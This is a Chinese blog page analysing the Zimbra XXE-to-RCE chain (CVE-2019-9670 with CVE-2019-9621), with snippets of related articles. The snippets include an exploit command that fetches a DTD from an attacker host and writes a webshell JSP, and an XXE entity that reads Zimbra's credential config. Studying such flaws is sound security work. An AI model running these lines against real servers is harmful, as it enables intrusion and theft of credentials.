点赞 点赞 1
评论 0
书签 书签 2

Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析

原创 已于 2024-09-29 20:39:01 修改 · 6.9k 阅读
cknow-ai 代码可运行
于 2023-04-19 16:55:03 首次发布

Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析

漏洞简介
Zimbra是著名的开源系统，提供了一套开源协同办公套件包括WebMail，日历，通信录，Web文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决方案。此漏洞的主要利用手法是通过 XXE (XML 外部实体注入) 漏洞读取localconfig.xml配置文件来获取Zimbra admin ldap password,接着通过SOAP AuthRequest认证得到Admin Authtoken,最后使用全局管理令牌通过ClientUploader扩展上传Webshell到Zimbra服务器，从而实现通过Webshell 来达到远程代码执行效果。(需要注意，最后要达到RCE要结合SSRF漏洞，即需要结合另一个漏洞CVE-2019-9621)
漏洞影响范围

Zimbra< 7.11
标签
#安全 #web安全 #Zimbra #CVE-2019-9670 #漏洞分析
分类 操作系统
了解本专栏 订阅专栏 解锁全文 超级会员免费看
zimbra邮箱在线口令爆破脚本
02-23
利用python编写的脚本，用于zimbra邮箱服务器的用户口令在线爆破。
【网络安全】漏洞挖掘之CVE-2019-9670+检测工具
等风来
09-09 2807
CVE-2019-9670 是一个与相关的严重漏洞。ZCS 中的 AutoDiscover 服务存在不正确的 XML 解析处理，该漏洞可被利用来注入恶意 XML 代码（例如外部实体注入（XXE）攻击），从而导致服务器任意文件读取或远程代码执行 (RCE)。Zimbra < 8.7.11 版本中，攻击者可以在无需登录的情况下，实现远程代码执行。Zimbra < 8.8.11 版本中，在服务端使用 Memcached 做缓存的情况下，经过登录认证后的攻击者可以实现远程代码执行。
严重 Zimbra RCE 漏洞遭大规模利用（CVE-2024-45519）
网络研究观
10-02 2892
攻击者正在积极利用 CVE-2024-45519，这是一个严重的 Zimbra 漏洞，该漏洞允许他们在易受攻击的安装上执行任意命令。
Zimbra邮件服务器利用XXE漏洞与SSRF完成对目标的文件上传与远程代码执行
勤能补拙
04-06 7631
前言 原文地址：https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html 参考文档：https://blog.csdn.net/fnmsd/article/details/88657083 历史版本存在的RCE（远程代码执行）漏洞： CVE-2013-7091本地文件披露漏洞，影响范围为8.0.2以下版本...
Zimbra CVE-2019-9670 XXE + CVE-2019-9621 SSRF 漏洞复现
部分学习记录
03-12 3930
炒冷饭复现：cve-2019-9670 xxe + cve-2019-9621 ssrf
TA473 使用 Zimbra 漏洞攻击欧洲与北约的邮件系统
wangluoanquan111的博客
08-03 3772
研究人员跟踪发现了部分可能是自定义 CSRF JavaScript 代码的实例，这些代码通过 CVE-2022-27926 来进行攻击。TA473 将其作为URL 超链接嵌入钓鱼邮件的正文中，这些 CSRF JavaScript 代码会由存在漏洞的邮件服务器执行。这些 JavaScript代码复制并依赖于模拟本机 Web 邮件门户的 JavaScript 代码，以返回攻击目标的用户名、密码与 CSRF Token 等关键 Web请求详细信息。
Zimbra 远程代码执行漏洞(CVE-2019-9670)环境搭建
4SecNet团队专栏
04-12 2088
Zimbra是著名的开源系统，提供了一套开源协同办公套件包括WebMail，日历，通信录，Web文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决方案。
Zimbra漏洞
公众号shadow sock7
08-19 1800
参考： https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html https://nvd.nist.gov/vuln/detail/CVE-2019-9670 https://nvd.nist.gov/vuln/detail/CVE-2016-9924 XXE CVE-2016-9924, CVE-2018-20...
Zimbra漏洞复现
Ryana2的博客
08-07 1576
3.生成含有木马的.jsp文件，命名为MM.jsp，语句为：python3 zimbra.py -u https://192.168.42.131 -d http://192.168.42.128:8686/exp.dtd -n Hh -f MM.jsp。扫描该站点目录：dirsearch -u https://192.168.42.131 ，看看有什么有用的信息，发现没什么有用信息。2.将抓到的包放入Repeater，并修改包内容，发现内容通过XXE漏洞被读出。尝试利用CVE-2019-9670漏洞。
zimbra rce 漏洞复现
weixin_40709439的博客
05-12 7863
本地搭建了好久，虚拟机突然蹦了，。。。 上钟馗之眼和shodan找了个目标 第一步，利用了CVE-2019-9670 XXE漏洞来读取配置文件 Zimbra配置文件位置为/conf/localconfig.xml 根据《A Saga of Code Executions on Zimbra》RCE漏洞分析 https://blog.csdn.net/fnmsd/article/details/88...
zimbra漏洞利用
kzyyx的博客
08-31 4842
记一次渗透测试zimbra漏洞利用 当时通过界面判断判断出开发利用zimbra搭建的网站。zimbra又存在多个漏洞。 1.首先通过利用了CVE-2019-9670 XXE漏洞来尝试读取/etc/passwd 读取文件成功，证明此漏洞可以被成功利用。 2.接下来读取zimbra的配置文件获取密码，因为配置文件时xml文件，因此需要使用外部dtd获取信息。 请求接口：Post:/Autodiscover/Autodiscover.xml Zimbra配置文件位置为/conf/localconfig.xml 在
《A Saga of Code Executions on Zimbra》RCE漏洞分析+复现过程
热门推荐
fnmsd的博客
03-21 1万+
原文地址： https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html https://paper.tuisec.win/detail/8ac5a3d1efbf40b 下载Zimbra的包： 1.从地址https://www.zimbra.com/downloads/zimbra-collaboration-ope...
vulntarget-f
m0_46105229的博客
04-15 1470
文章目录前言一、外网centerOS1.扫描内网网段存活的IP2.扫描端口与服务3.漏洞利用二、内网Ubuntu1.扫描内网网段存活的IP2.扫描端口与服务3.漏洞利用三、二层内网Ubuntu1.扫描内网网段存活的IP2.扫描端口与服务3.漏洞利用总结 前言 靶场是vulntarget-f，环境可以自己百度下载 拓扑图： 一、外网centerOS 1.扫描内网网段存活的IP nmap -F 192.168.252.3-254 2.扫描端口与服务 nmap -sV -p 21-10000 192.16
Zimbra邮件服务器渗透利用总结
蛇矛实验室
12-04 7633
Zimbra是一家提供专业的电子邮件软件开发供应商，主要提供ZimbraDesktop邮件管理软件。另外提供一套开源协同办公套件包括WebMail，日历，通信录，Web文档管理和创作。他的最大特色在于其采用Ajax技术模仿CS桌面应用软件的风格开发的客户端兼容Firefox，Safari和IE浏览器。
Zimbra
zhoumouren88的博客
08-27 1619
第一步：利用XXE读取配置文件 这里利用了CVE-2019-9670漏洞来读取配置文件，你需要在自己的VPS服务器上放置一个dtd文件，并使该文件能够通过HTTP访问。为了演示，我在GitHub上创建了一个仓库，从GitHub上获取dtd文件。 上图中用红框圈起来的就是zimbra账号的密码，先记下来以后会用到。 dtd文件内容如下： 1 <!ENTITY % file SYSTEM "file:../conf/localconfig.xml"> 2 <!ENTITY...
Zimbra邮件服务器安全评估与渗透利用实战：从漏洞原理到防御加固
最新发布
weixin_34074740的博客
06-29 329
邮件服务器作为企业核心基础设施，其安全性直接关系到内网安全。理解其常见漏洞原理，如任意文件上传、服务端请求伪造（SSRF）和反序列化漏洞，是构建有效防御体系的基础。这些漏洞通常源于输入验证不严、权限配置不当或第三方库缺陷，攻击者可利用它们实现初始访问、权限提升和数据窃取。在邮件系统安全实践中，针对Zimbra这类广泛部署的协作套件，掌握其典型攻击路径——从信息收集、漏洞利用到权限提升与横向移动——对于安全从业者和系统管理员至关重要。通过剖析CVE-2022-27925等任意文件上传漏洞和SSRF漏洞的利用方
开源邮件平台Zimbra 出现新漏洞，用户登录凭据可被盗
smellycat000的专栏
06-15 2252
聚焦源代码安全，网罗国内外最新资讯！编译：代码卫士研究人员发现 Zimbra 邮件套件中又出现一个高危漏洞 (CVE-2022-27924)，如遭成功利用可导致未认证攻击者窃取用户明文密码且无需任何用户交互。研究员在报告中指出，“通过对受害者邮箱后续的访问权限，攻击者可能提升对目标组织机构的访问权限，并获得对多种内部服务的访问权限，窃取高度敏感信息。”CVE-2022-...
CVE-2022-27925Zimbra Collaboration存在路径穿越漏洞最终导致RCE
include_voidmain的博客
07-07 3719
CVE-2022-27925Zimbra Collaboration存在路径穿越漏洞最终导致RCE
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值